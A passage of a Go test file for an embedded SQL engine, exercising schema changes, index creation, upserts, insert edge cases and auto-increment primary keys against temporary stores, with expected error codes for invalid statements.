id)", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(name, surname) VALUES('John', 'Smith')", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 ADD COLUMN int INTEGER AUTO_INCREMENT", nil) require.ErrorIs(t, err, ErrLimitedAutoIncrement) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 ADD COLUMN surname VARCHAR NOT NULL", nil) require.ErrorIs(t, err, ErrNewColumnMustBeNullable) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table2 ADD COLUMN surname VARCHAR", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 ADD COLUMN value INTEGER[100]", nil) require.ErrorIs(t, err, ErrLimitedMaxLen) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 ADD COLUMN surname VARCHAR", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 ADD COLUMN surname VARCHAR", nil) require.ErrorIs(t, err, ErrColumnAlreadyExists) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(name, surname) VALUES('John', 'Smith')", nil) require.NoError(t, err) res, err := engine.Query(context.Background(), nil, "SELECT id, name, surname FROM table1", nil) require.NoError(t, err) row, err := res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 1, row.ValuesByPosition[0].RawValue()) require.EqualValues(t, "John", row.ValuesByPosition[1].RawValue()) require.EqualValues(t, "Smith", row.ValuesByPosition[2].RawValue()) _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = res.Close() require.NoError(t, err) }) t.Run("reopen-store", func(t *testing.T) { st, err := store.Open(dir, store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) res, err := engine.Query(context.Background(), nil, "SELECT id, name, surname FROM table1", nil) require.NoError(t, err) row, err := res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 1, row.ValuesByPosition[0].RawValue()) require.EqualValues(t, "John", row.ValuesByPosition[1].RawValue()) require.EqualValues(t, "Smith", row.ValuesByPosition[2].RawValue()) _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = res.Close() require.NoError(t, err) }) } func TestRenaming(t *testing.T) { dir := t.TempDir() t.Run("create-store", func(t *testing.T) { st, err := store.Open(dir, store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME TO table11", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table11 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table11(name)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table11 RENAME TO table1", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(name) VALUES('John'), ('Sylvia'), ('Robocop') ", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME COLUMN name TO name", nil) require.ErrorIs(t, err, ErrSameOldAndNewNames) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME COLUMN name TO id", nil) require.ErrorIs(t, err, ErrColumnAlreadyExists) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table2 RENAME COLUMN name TO surname", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME COLUMN surname TO name", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME COLUMN name TO surname", nil) require.NoError(t, err) res, err := engine.Query(context.Background(), nil, "SELECT id, surname FROM table1 ORDER BY surname", nil) require.NoError(t, err) row, err := res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 1, row.ValuesByPosition[0].RawValue()) require.EqualValues(t, "John", row.ValuesByPosition[1].RawValue()) row, err = res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 3, row.ValuesByPosition[0].RawValue()) require.EqualValues(t, "Robocop", row.ValuesByPosition[1].RawValue()) row, err = res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 2, row.ValuesByPosition[0].RawValue()) require.EqualValues(t, "Sylvia", row.ValuesByPosition[1].RawValue()) _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = res.Close() require.NoError(t, err) }) t.Run("reopen-store", func(t *testing.T) { st, err := store.Open(dir, store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME TO table1", nil) require.ErrorIs(t, err, ErrSameOldAndNewNames) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME TO table11", nil) require.NoError(t, err) res, err := engine.Query(context.Background(), nil, "SELECT id, surname FROM table11 ORDER BY surname", nil) require.NoError(t, err) row, err := res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 1, row.ValuesByPosition[0].RawValue()) require.EqualValues(t, "John", row.ValuesByPosition[1].RawValue()) row, err = res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 3, row.ValuesByPosition[0].RawValue()) require.EqualValues(t, "Robocop", row.ValuesByPosition[1].RawValue()) row, err = res.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, 2, row.ValuesByPosition[0].RawValue()) require.EqualValues(t, "Sylvia", row.ValuesByPosition[1].RawValue()) _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = res.Close() require.NoError(t, err) }) } func TestAlterTableDropColumn(t *testing.T) { path := t.TempDir() defer os.RemoveAll(path) t.Run("create-store", func(t *testing.T) { st, err := store.Open(path, store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer func() { require.NoError(t, st.Close()) }() engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) t.Run("create initial table", func(t *testing.T) { _, _, err = engine.Exec( context.Background(), nil, ` CREATE TABLE table1 ( id INTEGER AUTO_INCREMENT, active BOOLEAN, name VARCHAR[50], surname VARCHAR[50], age INTEGER, PRIMARY KEY (id) )`, nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(name)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX ON table1(name, surname)", nil) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, ` INSERT INTO table1(name, surname, active, age) VALUES ('John', 'Smith', true, 42), ('Sylvia', 'Smith', true, 27), ('Robo', 'Cop', false, 101) `, nil) require.NoError(t, err) }) _, _, err = engine.Exec(context.Background(), nil, "DROP INDEX ON table1(id)", nil) require.ErrorIs(t, err, ErrIllegalArguments) t.Run("fail to drop indexed from table that does not exist", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table2 DROP COLUMN active", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) }) t.Run("fail to drop indexed columns", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN id", nil) require.ErrorIs(t, err, ErrCannotDropColumn) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN name", nil) require.ErrorIs(t, err, ErrCannotDropColumn) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN surname", nil) require.ErrorIs(t, err, ErrCannotDropColumn) }) t.Run("fail to drop columns that does not exist", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN nonexistent", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) }) t.Run("drop column in the middle", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN active", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 ADD COLUMN deprecated BOOLEAN", nil) require.NoError(t, err) tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) catTable, err := tx.catalog.GetTableByName("table1") require.NoError(t, err) require.Len(t, catTable.cols, 5) require.Len(t, catTable.colsByID, 5) require.Len(t, catTable.colsByName, 5) require.EqualValues(t, catTable.maxColID, 6) err = tx.Cancel() require.NoError(t, err) res, err := engine.Query(context.Background(), nil, "SELECT id, name, surname, active, age FROM table1", nil) require.NoError(t, err) _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrColumnDoesNotExist) err = res.Close() require.NoError(t, err) res, err = engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) require.NoError(t, err) for i := 0; i < 3; i++ { row, err := res.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesByPosition, 5) require.Len(t, row.ValuesBySelector, 5) } _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = res.Close() require.NoError(t, err) }) t.Run("drop the last column", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "DROP TABLE table11", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table11 DROP COLUMN age", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "DROP INDEX ON table11(age)", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 DROP COLUMN age", nil) require.NoError(t, err) tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) catTable, err := tx.catalog.GetTableByName("table1") require.NoError(t, err) require.Len(t, catTable.cols, 4) require.Len(t, catTable.colsByID, 4) require.Len(t, catTable.colsByName, 4) require.EqualValues(t, catTable.maxColID, 6) err = tx.Cancel() require.NoError(t, err) res, err := engine.Query(context.Background(), nil, "SELECT id, name, surname, age FROM table1", nil) require.NoError(t, err) _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrColumnDoesNotExist) res.Close() res, err = engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) require.NoError(t, err) for i := 0; i < 3; i++ { row, err := res.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesByPosition, 4) require.Len(t, row.ValuesBySelector, 4) } _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = res.Close() require.NoError(t, err) }) t.Run("adding new column must not reuse old column IDs", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 ADD COLUMN active BOOLEAN", nil) require.NoError(t, err) tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) catTable, err := tx.catalog.GetTableByName("table1") require.NoError(t, err) require.Len(t, catTable.cols, 5) require.Len(t, catTable.colsByID, 5) require.Len(t, catTable.colsByName, 5) require.EqualValues(t, 7, catTable.colsByName["active"].id) require.EqualValues(t, 7, catTable.maxColID) err = tx.Cancel() require.NoError(t, err) res, err := engine.Query(context.Background(), nil, "SELECT id, name, surname, active FROM table1", nil) require.NoError(t, err) for i := 0; i < 3; i++ { row, err := res.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesByPosition, 4) require.Len(t, row.ValuesBySelector, 4) require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "active")].RawValue()) } _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = res.Close() require.NoError(t, err) }) }) t.Run("reopen-store", func(t *testing.T) { st, err := store.Open(path, store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer func() { require.NoError(t, st.Close()) }() engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) res, err := engine.Query(context.Background(), nil, "SELECT id, name, surname, active FROM table1", nil) require.NoError(t, err) for i := 0; i < 3; i++ { row, err := res.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesByPosition, 4) require.Len(t, row.ValuesBySelector, 4) require.Nil(t, row.ValuesBySelector[EncodeSelector("", "table1", "active")].RawValue()) } _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = res.Close() require.NoError(t, err) }) } func TestCreateIndex(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, name VARCHAR[256], age INTEGER, active BOOLEAN, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(name)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX IF NOT EXISTS ON table1(name)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(name)", nil) require.ErrorIs(t, err, ErrIndexAlreadyExists) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(id)", nil) require.ErrorIs(t, err, ErrIndexAlreadyExists) _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX IF NOT EXISTS ON table1(id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(age)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(name)", nil) require.ErrorIs(t, err, ErrIndexAlreadyExists) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table2(name)", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(id, name, age) VALUES (1, 'name1', 50)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(name, age) VALUES ('name2', 10)", nil) require.ErrorIs(t, err, ErrPKCanNotBeNull) _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX ON table1(active)", nil) require.ErrorIs(t, err, ErrLimitedIndexCreation) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(active)", nil) require.NoError(t, err) } func TestUpsertInto(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title) VALUES (1, 'title1')", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, `CREATE TABLE table1 ( id INTEGER, title VARCHAR, amount INTEGER, active BOOLEAN NOT NULL, PRIMARY KEY id)`, nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(active)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX ON table1(amount, active)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title) VALUES (1, 'title1')", nil) require.ErrorIs(t, err, ErrNotNullableColumnCannotBeNull) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, age) VALUES (1, 50)", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (@id, 'title1', true)", nil) require.ErrorIs(t, err, ErrMissingParameter) params := make(map[string]interface{}, 1) params["id"] = [4]byte{1, 2, 3, 4} _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (@id, 'title1', true)", params) require.ErrorIs(t, err, ErrUnsupportedParameter) params = make(map[string]interface{}, 1) params["id"] = []byte{1, 2, 3} _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (@id, 'title1', true)", params) require.ErrorIs(t, err, ErrInvalidValue) require.Contains(t, err.Error(), "is not an integer") _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (1, @title, false)", nil) require.ErrorIs(t, err, ErrMissingParameter) params = make(map[string]interface{}, 1) params["title"] = uint64(1) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (1, @title, true)", params) require.ErrorIs(t, err, ErrInvalidValue) require.Contains(t, err.Error(), "is not a string") params = make(map[string]interface{}, 1) params["title"] = uint64(1) params["Title"] = uint64(2) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (1, @title, true)", params) require.ErrorIs(t, err, ErrDuplicatedParameters) _, ctxs, err := engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, amount, active) VALUES (1, 10, true)", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.Equal(t, ctxs[0].UpdatedRows(), 1) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, amount, active) VALUES (2, 10, true)", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) t.Run("row with pk 1 should have active in false", func(t *testing.T) { _, ctxs, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, amount, active) VALUES (1, 20, false)", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.Equal(t, ctxs[0].UpdatedRows(), 1) r, err := engine.Query(context.Background(), nil, "SELECT amount, active FROM table1 WHERE id = 1", nil) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 2) require.Equal(t, int64(20), row.ValuesBySelector[EncodeSelector("", "table1", "amount")].RawValue()) require.False(t, row.ValuesBySelector[EncodeSelector("", "table1", "active")].RawValue().(bool)) require.Len(t, row.ValuesByPosition, 2) require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[EncodeSelector("", "table1", "amount")]) require.Equal(t, row.ValuesByPosition[1], row.ValuesBySelector[EncodeSelector("", "table1", "active")]) err = r.Close() require.NoError(t, err) }) t.Run("row with pk 1 should have active in true", func(t *testing.T) { _, ctxs, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, amount, active) VALUES (1, 10, true)", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.Equal(t, ctxs[0].UpdatedRows(), 1) r, err := engine.Query(context.Background(), nil, "SELECT amount, active FROM table1 WHERE id = 1", nil) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 2) require.Equal(t, int64(10), row.ValuesBySelector[EncodeSelector("", "table1", "amount")].RawValue()) require.True(t, row.ValuesBySelector[EncodeSelector("", "table1", "active")].RawValue().(bool)) err = r.Close() require.NoError(t, err) }) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (Id, Title, Active) VALUES (1, 'some title', false)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (Id, Title, Amount, Active) VALUES (1, 'some title', 100, false)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, amount, active) VALUES (2, 'another title', 200, true)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id) VALUES (1, 'yat')", nil) require.ErrorIs(t, err, ErrInvalidNumberOfValues) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, id) VALUES (1, 2)", nil) require.ErrorIs(t, err, ErrDuplicatedColumn) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, active) VALUES ('1a', true)", nil) require.ErrorIs(t, err, ErrInvalidValue) require.ErrorIs(t, err, ErrUnsupportedCast) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, active) VALUES (NULL, false)", nil) require.ErrorIs(t, err, ErrPKCanNotBeNull) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (id, title, active) VALUES (2, NULL, true)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1 (title, active) VALUES ('interesting title', true)", nil) require.ErrorIs(t, err, ErrPKCanNotBeNull) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS blob_table (id BLOB[2], PRIMARY KEY id)", nil) require.NoError(t, err) } func TestUpsertIntoSelect(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, `CREATE TABLE table1 ( id INTEGER AUTO_INCREMENT, meta JSON, PRIMARY KEY id )`, nil) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, `CREATE TABLE table2 ( id INTEGER AUTO_INCREMENT, name VARCHAR, age INTEGER, active BOOLEAN, created_at TIMESTAMP, PRIMARY KEY id )`, nil) require.NoError(t, err) n := 100 for i := 0; i < n; i++ { name := fmt.Sprintf("name%d", i) age := 10 + rand.Intn(50) active := rand.Intn(2) == 1 upsert := fmt.Sprintf( `INSERT INTO table1 (meta) VALUES ('{"name": "%s", "age": %d, "active": %t, "createdAt": "%s"}')`, name, age, active, time.Now().Format("2006-01-02 15:04:05.999999"), ) _, _, err = engine.Exec( context.Background(), nil, upsert, nil, ) require.NoError(t, err) } _, _, err = engine.Exec( context.Background(), nil, `INSERT INTO table2(name, age, active, created_at) SELECT meta->'name', meta->'age', meta->'active', meta->'createdAt'::TIMESTAMP FROM table1 `, nil, ) require.NoError(t, err) rows, err := engine.queryAll( context.Background(), nil, `SELECT t1.meta->'name' = t2.name, t1.meta->'age' = t2.age, t1.meta->'active' = t2.active, t1.meta->'createdAt'::TIMESTAMP = t2.created_at FROM table1 AS t1 JOIN table2 AS t2 on t1.id = t2.id`, nil, ) require.NoError(t, err) require.Len(t, rows, 100) for _, row := range rows { require.Len(t, row.ValuesByPosition, 4) for _, v := range row.ValuesByPosition { require.True(t, v.RawValue().(bool)) } } } func TestInsertIntoEdgeCases(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX ON table1 (title)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (active)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (payload)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1')", nil) require.NoError(t, err) t.Run("on conflict cases", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1')", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) ntx, ctxs, err := engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1') ON CONFLICT DO NOTHING", nil) require.NoError(t, err) require.Nil(t, ntx) require.Len(t, ctxs, 1) require.Zero(t, ctxs[0].UpdatedRows()) require.Nil(t, ctxs[0].TxHeader()) }) t.Run("on conflict case with multiple rows", func(t *testing.T) { ntx, ctxs, err := engine.Exec(context.Background(), nil, ` INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1'), (11, 'title11', true, x'00B1') ON CONFLICT DO NOTHING`, nil) require.NoError(t, err) require.Nil(t, ntx) require.Len(t, ctxs, 1) require.Equal(t, 1, ctxs[0].UpdatedRows()) require.NotNil(t, ctxs[0].TxHeader()) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title11', true, x'00B1')", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) }) t.Run("varchar key cases", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title123456789', true, x'00A1')", nil) require.ErrorIs(t, err, ErrMaxLengthExceeded) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (2, 10, true, '00A1')", nil) require.ErrorIs(t, err, ErrInvalidValue) }) t.Run("boolean key cases", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title1', 'true', x'00A1')", nil) require.ErrorIs(t, err, ErrInvalidValue) }) t.Run("blob key cases", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title1', true, x'00A100A2')", nil) require.ErrorIs(t, err, ErrMaxLengthExceeded) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title1', true, '00A100A2')", nil) require.ErrorIs(t, err, ErrInvalidValue) }) t.Run("insertion in table with varchar pk", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE languages (code VARCHAR[128],name VARCHAR[255],PRIMARY KEY code)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO languages (code,name) VALUES ('code1', 'name1')", nil) require.NoError(t, err) }) } func TestAutoIncrementPK(t *testing.T) { engine := setupCommonTest(t) t.Run("invalid use of auto-increment", func(t *testing.T) { _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR AUTO_INCREMENT, PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrLimitedAutoIncrement) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR, age INTEGER AUTO_INCREMENT, PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrLimitedAutoIncrement) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id VARCHAR AUTO_INCREMENT, title VARCHAR, PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrLimitedAutoIncrement) }) _, _, err := engine.Exec( context.Background(), nil, ` CREATE TABLE table1 ( id INTEGER NOT NULL AUTO_INCREMENT, title VARCHAR, active BOOLEAN, PRIMARY KEY id ) `, nil) require.NoError(t, err) _, ctxs, err := engine.Exec(context.Background(), nil, "INSERT INTO table1(title) VALUES ('name1')", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.True(t, ctxs[0].Closed()) require.Equal(t, int64(1), ctxs[0].LastInsertedPKs()["table1"]) require.Equal(t, int64(1), ctxs[0].FirstInsertedPKs()["table1"]) require.Equal(t, 1, ctxs[0].UpdatedRows()) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(id, title) VALUES (1, 'name2')", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(id, title) VALUES (1, 'name2') ON CONFLICT DO NOTHING", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1(id, title) VALUES (1, 'name11')", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(id, title) VALUES (3, 'name3')", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1(id, title) VALUES (5, 'name5')", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(id, title) VALUES (2, 'name2')", nil) require.ErrorIs(t, err, ErrInvalidValue) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1(id, title) VALUES (2, 'name2')", nil) require.ErrorIs(t, err, ErrInvalidValue) _, _, err = engine.Exec(context.Background(), nil, "UPSERT INTO table1(id, title) VALUES (3, 'name33')", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(id, title) VALUES (5, 'name55')", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) _, ctxs, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(title) VALUES ('name6')", nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.True(t, ctxs[0].Closed()) require.Equal(t, int64(6), ctxs[0].FirstInsertedPKs()["table1"]) require.Equal(t, int64(6), ctxs[0].LastInsertedPKs()["table1"]) require.Equal(t, 1, ctxs[0].UpdatedRows()) _, ctxs, err = engine.Exec( context.Background(), nil, ` BEGIN TRANSACTION; INSERT INTO table1(title) VALUES ('name7'); INSERT INTO table1(title) VALUES ('name8'); COMMIT; `, nil) require.NoError(t, err) require.Len(t, ctxs, 1) require.True(t, ctxs[0].Closed()) require.Equal(t, int64(7), ctxs[0].FirstInsertedPKs()["table1"]) require.Equal(t, int64(8), ctxs[0].LastInsertedPKs()["table1"]) require.Equal(t, 2, ctxs[0].UpdatedRows()) } func TestDelete(t *testing.T) { st, err := store.Open(t.TempDir(), 